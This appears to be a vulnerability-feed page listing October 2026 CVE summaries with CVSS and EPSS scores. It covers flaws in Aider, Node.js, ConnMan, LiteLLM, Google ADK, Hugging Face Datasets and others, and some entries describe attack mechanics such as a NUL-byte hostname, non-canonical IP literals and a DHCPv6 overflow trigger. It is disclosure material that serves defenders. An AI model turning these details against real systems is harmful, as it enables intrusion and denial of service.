Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a trust prompt. Attackers can set notifications-command or editor values that are executed via subprocess with shell=True after model replies or /editor use, running commands with the victim's privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115726).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115726&date=2026-10-25).
Sources:
NVD CVE-2026-115726: https://nvd.nist.gov/vuln/detail/CVE-2026-115726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115726&date=2026-10-25
Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a trust prompt. Attackers can set notifications-command or editor values that are executed via subprocess with shell=True after model replies or /editor use, running commands with the victim's privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213.
https://kevwire.com/record/CVE-2026-115728
@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213. (Oct 23, 2026).
@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213. Unauthenticated remote attackers can send multipart uploads with a long Content-Disposition parameter lacking an equals sign, triggering quadratic backtracking that blocks the event loop.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115728).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115728&date=2026-10-25).
Sources:
NVD CVE-2026-115728: https://nvd.nist.gov/vuln/detail/CVE-2026-115728
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115728&date=2026-10-25
@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213. Unauthenticated remote attackers can send multipart uploads with a long Content-Disposition parameter lacking an equals sign, triggering quadratic backtracking that blocks the event loop.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application...
https://kevwire.com/record/CVE-2026-16762
An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application... (Oct 23, 2026).
An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application unresponsive (denial of service). Exploitation requires only that the application parse attacker-influenced XML; no authentication, privileges, or user interaction beyond ingesting the input are needed. There is no loss of confidentiality or integrity — no data disclosure, data modification, or code execution — and the impact is contained to the affected process.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16762).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16762&date=2026-10-25).
Sources:
NVD CVE-2026-16762: https://nvd.nist.gov/vuln/detail/CVE-2026-16762
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16762&date=2026-10-25
An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application unresponsive (denial of service). Exploitation requires only that the application parse attacker-influenced XML; no authentication, privileges, or user interaction beyond ingesting the input are needed. There is no loss of confidentiality or integrity — no data disclosure, data modification, or code execution — and the impact is contained to the affected process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary...
https://kevwire.com/record/CVE-2026-19677
An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary... (Oct 23, 2026).
An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary tenant user, obtain TenantAdmin and Designer privileges, and execute arbitrary operating system commands via manipulation of registration parameters containing a valid tenant name and existing user identifier.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19677).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19677&date=2026-10-25).
Sources:
NVD CVE-2026-19677: https://nvd.nist.gov/vuln/detail/CVE-2026-19677
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19677&date=2026-10-25
An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary tenant user, obtain TenantAdmin and Designer privileges, and execute arbitrary operating system commands via manipulation of registration parameters containing a valid tenant name and existing user identifier.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access...
https://kevwire.com/record/CVE-2026-19678
A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access... (Oct 23, 2026).
A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access sensitive internal Apache Solr data via an attacker-controlled URL supplied to a publicly accessible form.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19678).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19678&date=2026-10-25).
Sources:
NVD CVE-2026-19678: https://nvd.nist.gov/vuln/detail/CVE-2026-19678
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19678&date=2026-10-25
A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access sensitive internal Apache Solr data via an attacker-controlled URL supplied to a publicly accessible form.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file...
https://kevwire.com/record/CVE-2026-57845
Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file... (Oct 23, 2026).
Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls datasets.load_dataset("pandas", data_files=...), the embedded __reduce__ payload executes code with the victim process's privileges.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57845).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57845&date=2026-10-25).
Sources:
NVD CVE-2026-57845: https://nvd.nist.gov/vuln/detail/CVE-2026-57845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57845&date=2026-10-25
Hugging Face Datasets through 5.1.0 contains an insecure deserialization vulnerability that allows attackers to execute arbitrary Python code by crafting a malicious pickle file loaded through the deprecated pandas packaged builder. Attackers can supply a pickle-backed dataset that is processed by Pandas._generate_tables via pandas.read_pickle() without validation, so when a victim calls datasets.load_dataset("pandas", data_files=...), the embedded __reduce__ payload executes code with the victim process's privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-110063
Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network. (Oct 22, 2026).
Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.
CVSS 10.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110063).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110063&date=2026-10-25).
Sources:
NVD CVE-2026-110063: https://nvd.nist.gov/vuln/detail/CVE-2026-110063
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110063&date=2026-10-25
Improper link resolution before file access ('link following') in VM Inspector for Azure Virtual Machines allows an unauthorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.
https://kevwire.com/record/CVE-2026-111594
InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device. (Oct 22, 2026).
InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111594).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111594&date=2026-10-25).
Sources:
NVD CVE-2026-111594: https://nvd.nist.gov/vuln/detail/CVE-2026-111594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111594&date=2026-10-25
InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message.
https://kevwire.com/record/CVE-2026-115863
ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. (Oct 23, 2026).
ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. This occurs in get_domains in gdhcp/client.c. It copies a fixed NS_MAXDNAME (1025) bytes from a DHCPv6 DOMAIN_LIST (option 24) value into a 1026-byte stack buffer dns_name regardless of the actual option length, then walks DNS labels with an unbounded "c += jump + 1" loop. A crafted DHCPv6 REPLY with a DOMAIN_LIST option of >= 1025 non-zero bytes makes the label walk leave the buffer and read/write '.' past its end in attacker-chosen strides. An on-link attacker can trigger this without authentication via a forged Router Advertisement (O=1) and a forged DHCPv6 REPLY matching xid/CLIENTID with a long DOMAIN_LIST. The impact is unauthenticated on-link crash of connmand (runs as root). This was introduced in bb06c47.
CVSS 7.6 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115863).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115863&date=2026-10-25).
Sources:
NVD CVE-2026-115863: https://nvd.nist.gov/vuln/detail/CVE-2026-115863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115863&date=2026-10-25
ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. This occurs in get_domains in gdhcp/client.c. It copies a fixed NS_MAXDNAME (1025) bytes from a DHCPv6 DOMAIN_LIST (option 24) value into a 1026-byte stack buffer dns_name regardless of the actual option length, then walks DNS labels with an unbounded "c += jump + 1" loop. A crafted DHCPv6 REPLY with a DOMAIN_LIST option of >= 1025 non-zero bytes makes the label walk leave the buffer and read/write '.' past its end in attacker-chosen strides. An on-link attacker can trigger this without authentication via a forged Router Advertisement (O=1) and a forged DHCPv6 REPLY matching xid/CLIENTID with a long DOMAIN_LIST. The impact is unauthenticated on-link crash of connmand (runs as root). This was introduced in bb06c47.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse().
https://kevwire.com/record/CVE-2026-105482
A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). (Oct 23, 2026).
A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options.

Because the name is passed to c-ares as a C string, resolving attacker.example\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve*() can act on records for a different name than the one they validated.

This vulnerability affects Node.js 26.x, 24.x, and 22.x.
CVSS 7.4 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105482).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105482&date=2026-10-25).
Sources:
NVD CVE-2026-105482: https://nvd.nist.gov/vuln/detail/CVE-2026-105482
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105482&date=2026-10-25
A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options.

Because the name is passed to c-ares as a C string, resolving attacker.example\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve*() can act on records for a different name than the one they validated.

This vulnerability affects Node.js 26.x, 24.x, and 22.x.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with...
https://kevwire.com/record/CVE-2026-105483
A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with... (Oct 23, 2026).
A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with non-ASCII characters, such as fullwidth digits (`１２７.0.0.1`).

`tls.checkServerIdentity()` did not recognize such hosts as IP addresses, even though they normalize and resolve to a regular IPv4 address, and matched them against the certificate DNS names and Common Name instead. A certificate containing `DNS:127.0.0.1` or `DNS:*.0.0.1` could therefore be accepted for an IP endpoint it was not issued for. This is a regression introduced after the fix for CVE-2026-48618.

This vulnerability affects Node.js **26.x** and **24.x**.
CVSS 7.4 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105483).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105483&date=2026-10-25).
Sources:
NVD CVE-2026-105483: https://nvd.nist.gov/vuln/detail/CVE-2026-105483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105483&date=2026-10-25
A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with non-ASCII characters, such as fullwidth digits (`１２７.0.0.1`).

`tls.checkServerIdentity()` did not recognize such hosts as IP addresses, even though they normalize and resolve to a regular IPv4 address, and matched them against the certificate DNS names and Common Name instead. A certificate containing `DNS:127.0.0.1` or `DNS:*.0.0.1` could therefore be accepted for an IP endpoint it was not issued for. This is a regression introduced after the fix for CVE-2026-48618.

This vulnerability affects Node.js **26.x** and **24.x**.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a...
https://kevwire.com/record/CVE-2026-106069
A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a... (Oct 23, 2026).
A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a non-canonical IPv4 literal with a leading zero, such as `0127.0.0.1`.

`tls.checkServerIdentity()` normalizes the host following the WHATWG URL rules, which read a leading-zero octet as octal (`0127.0.0.1` becomes `87.0.0.1`), while the connection is made through the operating system resolver, which on some platforms such as macOS reads it as decimal (`127.0.0.1`). A server at the connected address can then be authenticated with a certificate issued for another IP address.

This vulnerability affects Node.js **26.x**, **24.x**, and **22.x**.
CVSS 7.4 (version 3.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106069).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106069&date=2026-10-25).
Sources:
NVD CVE-2026-106069: https://nvd.nist.gov/vuln/detail/CVE-2026-106069
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106069&date=2026-10-25
A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a non-canonical IPv4 literal with a leading zero, such as `0127.0.0.1`.

`tls.checkServerIdentity()` normalizes the host following the WHATWG URL rules, which read a leading-zero octet as octal (`0127.0.0.1` becomes `87.0.0.1`), while the connection is made through the operating system resolver, which on some platforms such as macOS reads it as decimal (`127.0.0.1`). A server at the connected address can then be authenticated with a certificate issued for another IP address.

This vulnerability affects Node.js **26.x**, **24.x**, and **22.x**.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent...
https://kevwire.com/record/CVE-2026-107858
Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent... (Oct 23, 2026).
Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent Development Kit (ADK) for Java (com.google.adk:google-adk-dev versions 0.1.0 before 1.13.0 and com.google.adk:google-adk-maven-plugin versions 0.3.0 before 1.13.0) allow a remote attacker to control a locally running agent and read its data via a malicious web page visited by a developer while the server is running. The /run_live WebSocket endpoint accepts connections from any origin by default (hardcoded via setAllowedOrigins("*") in versions 0.1.0 through 1.5.0, and defaulting to * via adk.web.cors.origins in versions 1.6.0 through 1.12.0), and since version 0.4.0 the REST API returns Access-Control-Allow-Origin: * by default. Because the server has no authentication and requests originate from the developer's browser (so binding to localhost does not prevent exploitation), a cross-origin page can send messages to the agent (triggering registered tools), stream agent responses, and list, read, create, or delete sessions and artifacts. In versions 1.6.0 through 1.12.0, users can mitigate the issue by setting the adk.web.cors.origins property to an explicit allowlist of trusted origins (such as http://localhost:8000). The vulnerability is fixed in version 1.13.0, which enforces a same-origin default for CORS and the /run_live WebSocket endpoint, and rejects DNS-rebinding requests over loopback.
CVSS 7.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107858).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107858&date=2026-10-25).
Sources:
NVD CVE-2026-107858: https://nvd.nist.gov/vuln/detail/CVE-2026-107858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107858&date=2026-10-25
Missing Origin Validation in WebSockets (CWE-1385) and Permissive Cross-domain Policy with Untrusted Domains (CWE-942) in the development web server (ADK Web) in Google Agent Development Kit (ADK) for Java (com.google.adk:google-adk-dev versions 0.1.0 before 1.13.0 and com.google.adk:google-adk-maven-plugin versions 0.3.0 before 1.13.0) allow a remote attacker to control a locally running agent and read its data via a malicious web page visited by a developer while the server is running. The /run_live WebSocket endpoint accepts connections from any origin by default (hardcoded via setAllowedOrigins("*") in versions 0.1.0 through 1.5.0, and defaulting to * via adk.web.cors.origins in versions 1.6.0 through 1.12.0), and since version 0.4.0 the REST API returns Access-Control-Allow-Origin: * by default. Because the server has no authentication and requests originate from the developer's browser (so binding to localhost does not prevent exploitation), a cross-origin page can send messages to the agent (triggering registered tools), stream agent responses, and list, read, create, or delete sessions and artifacts. In versions 1.6.0 through 1.12.0, users can mitigate the issue by setting the adk.web.cors.origins property to an explicit allowlist of trusted origins (such as http://localhost:8000). The vulnerability is fixed in version 1.13.0, which enforces a same-origin default for CORS and the /run_live WebSocket endpoint, and rejects DNS-rebinding requests over loopback.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.
https://kevwire.com/record/CVE-2026-108359
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. (Oct 22, 2026).
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, Ods::processTableRow in src/PhpSpreadsheet/Reader/Ods.php accepts an unbounded table:number-rows-repeated attribute from an ODS table row. When the row contains a value, the reader materializes a cell for every repetition without checking the spreadsheet row limit, so a small attacker-controlled ODS file can consume substantial CPU and memory and terminate the PHP worker. Column repetition is separately bounded and is not part of this vulnerability. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108359).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108359&date=2026-10-25).
Sources:
NVD CVE-2026-108359: https://nvd.nist.gov/vuln/detail/CVE-2026-108359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108359&date=2026-10-25
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, Ods::processTableRow in src/PhpSpreadsheet/Reader/Ods.php accepts an unbounded table:number-rows-repeated attribute from an ODS table row. When the row contains a value, the reader materializes a cell for every repetition without checking the spreadsheet row limit, so a small attacker-controlled ODS file can consume substantial CPU and memory and terminate the PHP worker. Column repetition is separately bounded and is not part of this vulnerability. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format.
https://kevwire.com/record/CVE-2026-114612
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. (Oct 22, 2026).
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From 1.87.0 until 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2, the proxy reuses one cryptographic context for at-rest secrets and session tokens, allowing an authenticated internal user to have crafted metadata containing a forged administrator credential encrypted and returned by the API-key flow. Replaying that ciphertext as a bearer token causes the proxy to trust the forged proxy administrator identity, permitting administrative access and arbitrary commands through the MCP stdio endpoint. Versions 1.87.0 through 1.90.x require EXPERIMENTAL_UI_LOGIN to be enabled, while versions after 1.91.0 are exploitable in the default configuration. This issue was fixed in LiteLLM 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2.
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114612).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114612&date=2026-10-25).
Sources:
NVD CVE-2026-114612: https://nvd.nist.gov/vuln/detail/CVE-2026-114612
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114612&date=2026-10-25
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From 1.87.0 until 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2, the proxy reuses one cryptographic context for at-rest secrets and session tokens, allowing an authenticated internal user to have crafted metadata containing a forged administrator credential encrypted and returned by the API-key flow. Replaying that ciphertext as a bearer token causes the proxy to trust the forged proxy administrator identity, permitting administrative access and arbitrary commands through the MCP stdio endpoint. Versions 1.87.0 through 1.90.x require EXPERIMENTAL_UI_LOGIN to be enabled, while versions after 1.91.0 are exploitable in the default configuration. This issue was fixed in LiteLLM 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Conda Organization Infrastructure is a centralized location for infrastructure codes.
https://kevwire.com/record/CVE-2026-53942
Conda Organization Infrastructure is a centralized location for infrastructure codes. (Oct 23, 2026).
